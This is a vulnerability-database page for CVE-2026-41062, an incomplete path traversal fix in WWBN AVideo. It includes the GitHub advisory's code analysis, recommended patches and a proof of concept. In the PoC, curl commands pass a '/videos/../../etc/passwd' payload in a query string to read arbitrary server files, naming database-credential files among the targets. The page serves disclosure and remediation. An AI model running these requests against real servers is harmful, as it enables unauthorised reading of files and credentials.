Vulnerability-Lookup

CVE-2026-41062 (GCVE-0-2026-41062)

Vulnerability from cvelistv5 – Published: 2026-04-21 22:57 – Updated: 2026-04-22 17:57

Title

WWBN/AVideo has an incomplete fix for a directory traversal bypass via query string in ReceiveImage downloadURL parameters

Summary

WWBN AVideo is an open source video platform. In versions 29.0 and below, the directory traversal fix introduced in commit 2375eb5e0 for `objects/aVideoEncoderReceiveImage.json.php` only checks the URL path component (via `parse_url($url, PHP_URL_PATH)`) for `..` sequences. However, the downstream function `try_get_contents_from_local()` in `objects/functionsFile.php` uses `explode('/videos/', $url)` on the **full URL string** including the query string. An attacker can place the `/videos/../../` traversal payload in the query string to bypass the security check and read arbitrary files from the server filesystem. Commit bd11c16ec894698e54e2cdae25026c61ad1ed441 contains an updated fix.

Severity ?

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM
	https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_MISC
	https://github.com/WWBN/AVideo/commit/2375eb5e0a6…	x_refsource_MISC
	https://github.com/WWBN/AVideo/commit/bd11c16ec89…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	WWBN	AVideo	Affected: <= 29.0

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-41062

Vulnerability from fkie_nvd - Published: 2026-04-21 23:16 - Updated: 2026-04-22 21:23

Severity ?

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/WWBN/AVideo/commit/2375eb5e0a6d3cbcfb05377657d0820a7d470b1d
	security-advisories@github.com	https://github.com/WWBN/AVideo/commit/bd11c16ec894698e54e2cdae25026c61ad1ed441
	security-advisories@github.com	https://github.com/WWBN/AVideo/security/advisories/GHSA-f4f9-627c-jh33
	security-advisories@github.com	https://github.com/WWBN/AVideo/security/advisories/GHSA-m63r-m9jh-3vc6
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/WWBN/AVideo/security/advisories/GHSA-m63r-m9jh-3vc6

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions 29.0 and below, the directory traversal fix introduced in commit 2375eb5e0 for `objects/aVideoEncoderReceiveImage.json.php` only checks the URL path component (via `parse_url($url, PHP_URL_PATH)`) for `..` sequences. However, the downstream function `try_get_contents_from_local()` in `objects/functionsFile.php` uses `explode(\u0027/videos/\u0027, $url)` on the **full URL string** including the query string. An attacker can place the `/videos/../../` traversal payload in the query string to bypass the security check and read arbitrary files from the server filesystem. Commit bd11c16ec894698e54e2cdae25026c61ad1ed441 contains an updated fix."
    }
  ],
  "id": "CVE-2026-41062",
  "lastModified": "2026-04-22T21:23:52.620",
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          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
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          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-21T23:16:21.520",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/WWBN/AVideo/commit/2375eb5e0a6d3cbcfb05377657d0820a7d470b1d"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/WWBN/AVideo/commit/bd11c16ec894698e54e2cdae25026c61ad1ed441"
    },
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      "source": "security-advisories@github.com",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-f4f9-627c-jh33"
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      "type": "Secondary"
    }
  ]
}

GHSA-M63R-M9JH-3VC6

Vulnerability from github – Published: 2026-04-14 23:23 – Updated: 2026-04-14 23:23

Summary

WWBN AVideo has an Incomplete fix: Directory traversal bypass via query string in ReceiveImage downloadURL parameters

Details

Summary

The directory traversal fix introduced in commit 2375eb5e0 for objects/aVideoEncoderReceiveImage.json.php only checks the URL path component (via parse_url($url, PHP_URL_PATH)) for .. sequences. However, the downstream function try_get_contents_from_local() in objects/functionsFile.php uses explode('/videos/', $url) on the full URL string including the query string. An attacker can place the /videos/../../ traversal payload in the query string to bypass the security check and read arbitrary files from the server filesystem.

Details

The security fix at commit 2375eb5e0 added a traversal check at objects/aVideoEncoderReceiveImage.json.php:49:

$decodedPath = urldecode((string)(parse_url($_REQUEST[$value], PHP_URL_PATH) ?? ''));
if (strpos($decodedPath, '..') !== false) {
    unset($_REQUEST[$value]);
}

This only inspects the path component of the URL. For a URL like http://TARGET/x?a=/videos/../../etc/passwd, parse_url() returns /x as the path — no .. is found.

The URL then passes through isValidURL() (objects/functions.php:4203) which accepts it because FILTER_VALIDATE_URL considers .. in query strings valid per RFC 3986.

It also passes isSSRFSafeURL() (objects/functions.php:4264) because the host matches webSiteRootURL, causing an early return at line 4294.

The URL reaches url_get_contents() (objects/functions.php:1938) which calls try_get_contents_from_local() (objects/functionsFile.php:214):

function try_get_contents_from_local($url)
{
    // ...
    $parts = explode('/videos/', $url);
    if (!empty($parts[1])) {
        // ...
        $tryFile = "{$global['systemRootPath']}{$encoder}videos/{$parts[1]}";
        if (file_exists($tryFile)) {
            return file_get_contents($tryFile);
        }
    }
    return false;
}

explode('/videos/', $url) operates on the entire URL string including the query string. For the malicious URL, $parts[1] becomes ../../../../../../etc/passwd, constructing a path like /var/www/html/AVideo/Encoder/videos/../../../../../../etc/passwd which PHP's filesystem functions resolve to /etc/passwd.

The file content is returned to the caller and written to the video's thumbnail path via _file_put_contents(). All four downloadURL_* parameters (downloadURL_image, downloadURL_gifimage, downloadURL_webpimage, downloadURL_spectrumimage) are affected.

PoC

Prerequisites: An authenticated AVideo user account with upload permission and an existing video they own (with known videos_id).

Identify the AVideo instance's domain (e.g., https://avideo.example.com).
Send a POST request to the ReceiveImage endpoint with the traversal payload in the query string:

curl -s -b "PHPSESSID=<session_cookie>" \
  "https://avideo.example.com/objects/aVideoEncoderReceiveImage.json.php" \
  -d "videos_id=<YOUR_VIDEO_ID>" \
  -d "downloadURL_image=http://avideo.example.com/x?a=/videos/../../../../../../etc/passwd"

The response will include jpgDestSize indicating the file was read and written (confirming file existence and revealing file size).
For files that pass image validation (e.g., other users' uploaded images at known paths), the content persists at the video's thumbnail URL and can be retrieved:

curl -s "https://avideo.example.com/videos/<videoFileName>.jpg"

Non-image files (e.g., /etc/passwd, configuration files) are written but then deleted by deleteInvalidImage(). However, file existence and size are still leaked, and a race condition exists between the write and the deletion.

Impact

Arbitrary file read: An authenticated user with upload permission can read any file on the server filesystem that the web server process has access to. Files that pass image validation (PNG/JPEG/GIF) are fully exfiltrable via the video thumbnail URL.
Information disclosure: For non-image files, file existence and size are leaked through the jpgDestSize response field.
Configuration exposure: Server configuration files, database credentials (videos/configuration.php), and other sensitive data can be targeted. While PHP files would be deleted by deleteInvalidImage, there is a race window between write and deletion.
Bypass of security fix: This directly bypasses the path traversal mitigation added in commit 2375eb5e0.

Recommended Fix

The .. check in aVideoEncoderReceiveImage.json.php should inspect the full URL (after URL-decoding), not just the path component. Additionally, try_get_contents_from_local() should validate its derived path.

Fix 1 — Check the full URL in ReceiveImage (objects/aVideoEncoderReceiveImage.json.php:49):

// Replace:
$decodedPath = urldecode((string)(parse_url($_REQUEST[$value], PHP_URL_PATH) ?? ''));
if (strpos($decodedPath, '..') !== false) {

// With:
$decodedFull = urldecode((string)$_REQUEST[$value]);
if (strpos($decodedFull, '..') !== false) {

Fix 2 — Add path validation in try_get_contents_from_local (objects/functionsFile.php:229):

$tryFile = "{$global['systemRootPath']}{$encoder}videos/{$parts[1]}";
// Add traversal check:
$realTryFile = realpath($tryFile);
$videosDir = realpath("{$global['systemRootPath']}{$encoder}videos/");
if ($realTryFile === false || !str_starts_with($realTryFile, $videosDir)) {
    return false;
}
if (file_exists($tryFile)) {
    return file_get_contents($tryFile);
}

Severity ?

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
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    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:23:14Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe directory traversal fix introduced in commit 2375eb5e0 for `objects/aVideoEncoderReceiveImage.json.php` only checks the URL **path component** (via `parse_url($url, PHP_URL_PATH)`) for `..` sequences. However, the downstream function `try_get_contents_from_local()` in `objects/functionsFile.php` uses `explode(\u0027/videos/\u0027, $url)` on the **full URL string** including the query string. An attacker can place the `/videos/../../` traversal payload in the query string to bypass the security check and read arbitrary files from the server filesystem.\n\n## Details\n\nThe security fix at commit 2375eb5e0 added a traversal check at `objects/aVideoEncoderReceiveImage.json.php:49`:\n\n```php\n$decodedPath = urldecode((string)(parse_url($_REQUEST[$value], PHP_URL_PATH) ?? \u0027\u0027));\nif (strpos($decodedPath, \u0027..\u0027) !== false) {\n    unset($_REQUEST[$value]);\n}\n```\n\nThis only inspects the **path component** of the URL. For a URL like `http://TARGET/x?a=/videos/../../etc/passwd`, `parse_url()` returns `/x` as the path \u2014 no `..` is found.\n\nThe URL then passes through `isValidURL()` (`objects/functions.php:4203`) which accepts it because `FILTER_VALIDATE_URL` considers `..` in query strings valid per RFC 3986.\n\nIt also passes `isSSRFSafeURL()` (`objects/functions.php:4264`) because the host matches `webSiteRootURL`, causing an early return at line 4294.\n\nThe URL reaches `url_get_contents()` (`objects/functions.php:1938`) which calls `try_get_contents_from_local()` (`objects/functionsFile.php:214`):\n\n```php\nfunction try_get_contents_from_local($url)\n{\n    // ...\n    $parts = explode(\u0027/videos/\u0027, $url);\n    if (!empty($parts[1])) {\n        // ...\n        $tryFile = \"{$global[\u0027systemRootPath\u0027]}{$encoder}videos/{$parts[1]}\";\n        if (file_exists($tryFile)) {\n            return file_get_contents($tryFile);\n        }\n    }\n    return false;\n}\n```\n\n`explode(\u0027/videos/\u0027, $url)` operates on the **entire URL string** including the query string. For the malicious URL, `$parts[1]` becomes `../../../../../../etc/passwd`, constructing a path like `/var/www/html/AVideo/Encoder/videos/../../../../../../etc/passwd` which PHP\u0027s filesystem functions resolve to `/etc/passwd`.\n\nThe file content is returned to the caller and written to the video\u0027s thumbnail path via `_file_put_contents()`. All four `downloadURL_*` parameters (`downloadURL_image`, `downloadURL_gifimage`, `downloadURL_webpimage`, `downloadURL_spectrumimage`) are affected.\n\n## PoC\n\nPrerequisites: An authenticated AVideo user account with upload permission and an existing video they own (with known `videos_id`).\n\n1. Identify the AVideo instance\u0027s domain (e.g., `https://avideo.example.com`).\n\n2. Send a POST request to the ReceiveImage endpoint with the traversal payload in the query string:\n\n```bash\ncurl -s -b \"PHPSESSID=\u003csession_cookie\u003e\" \\\n  \"https://avideo.example.com/objects/aVideoEncoderReceiveImage.json.php\" \\\n  -d \"videos_id=\u003cYOUR_VIDEO_ID\u003e\" \\\n  -d \"downloadURL_image=http://avideo.example.com/x?a=/videos/../../../../../../etc/passwd\"\n```\n\n3. The response will include `jpgDestSize` indicating the file was read and written (confirming file existence and revealing file size).\n\n4. For files that pass image validation (e.g., other users\u0027 uploaded images at known paths), the content persists at the video\u0027s thumbnail URL and can be retrieved:\n\n```bash\ncurl -s \"https://avideo.example.com/videos/\u003cvideoFileName\u003e.jpg\"\n```\n\n5. Non-image files (e.g., `/etc/passwd`, configuration files) are written but then deleted by `deleteInvalidImage()`. However, file existence and size are still leaked, and a race condition exists between the write and the deletion.\n\n## Impact\n\n- **Arbitrary file read**: An authenticated user with upload permission can read any file on the server filesystem that the web server process has access to. Files that pass image validation (PNG/JPEG/GIF) are fully exfiltrable via the video thumbnail URL.\n- **Information disclosure**: For non-image files, file existence and size are leaked through the `jpgDestSize` response field.\n- **Configuration exposure**: Server configuration files, database credentials (`videos/configuration.php`), and other sensitive data can be targeted. While PHP files would be deleted by `deleteInvalidImage`, there is a race window between write and deletion.\n- **Bypass of security fix**: This directly bypasses the path traversal mitigation added in commit 2375eb5e0.\n\n## Recommended Fix\n\nThe `..` check in `aVideoEncoderReceiveImage.json.php` should inspect the **full URL** (after URL-decoding), not just the path component. Additionally, `try_get_contents_from_local()` should validate its derived path.\n\n**Fix 1 \u2014 Check the full URL in ReceiveImage (objects/aVideoEncoderReceiveImage.json.php:49):**\n\n```php\n// Replace:\n$decodedPath = urldecode((string)(parse_url($_REQUEST[$value], PHP_URL_PATH) ?? \u0027\u0027));\nif (strpos($decodedPath, \u0027..\u0027) !== false) {\n\n// With:\n$decodedFull = urldecode((string)$_REQUEST[$value]);\nif (strpos($decodedFull, \u0027..\u0027) !== false) {\n```\n\n**Fix 2 \u2014 Add path validation in try_get_contents_from_local (objects/functionsFile.php:229):**\n\n```php\n$tryFile = \"{$global[\u0027systemRootPath\u0027]}{$encoder}videos/{$parts[1]}\";\n// Add traversal check:\n$realTryFile = realpath($tryFile);\n$videosDir = realpath(\"{$global[\u0027systemRootPath\u0027]}{$encoder}videos/\");\nif ($realTryFile === false || !str_starts_with($realTryFile, $videosDir)) {\n    return false;\n}\nif (file_exists($tryFile)) {\n    return file_get_contents($tryFile);\n}\n```",
  "id": "GHSA-m63r-m9jh-3vc6",
  "modified": "2026-04-14T23:23:14Z",
  "published": "2026-04-14T23:23:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-m63r-m9jh-3vc6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/bd11c16ec894698e54e2cdae25026c61ad1ed441"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WWBN AVideo has an Incomplete fix: Directory traversal bypass via query string in ReceiveImage downloadURL parameters"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-41062 (GCVE-0-2026-41062)

FKIE_CVE-2026-41062

GHSA-M63R-M9JH-3VC6

Summary

Details

PoC

Impact

Recommended Fix

Tags

Sightings

Nomenclature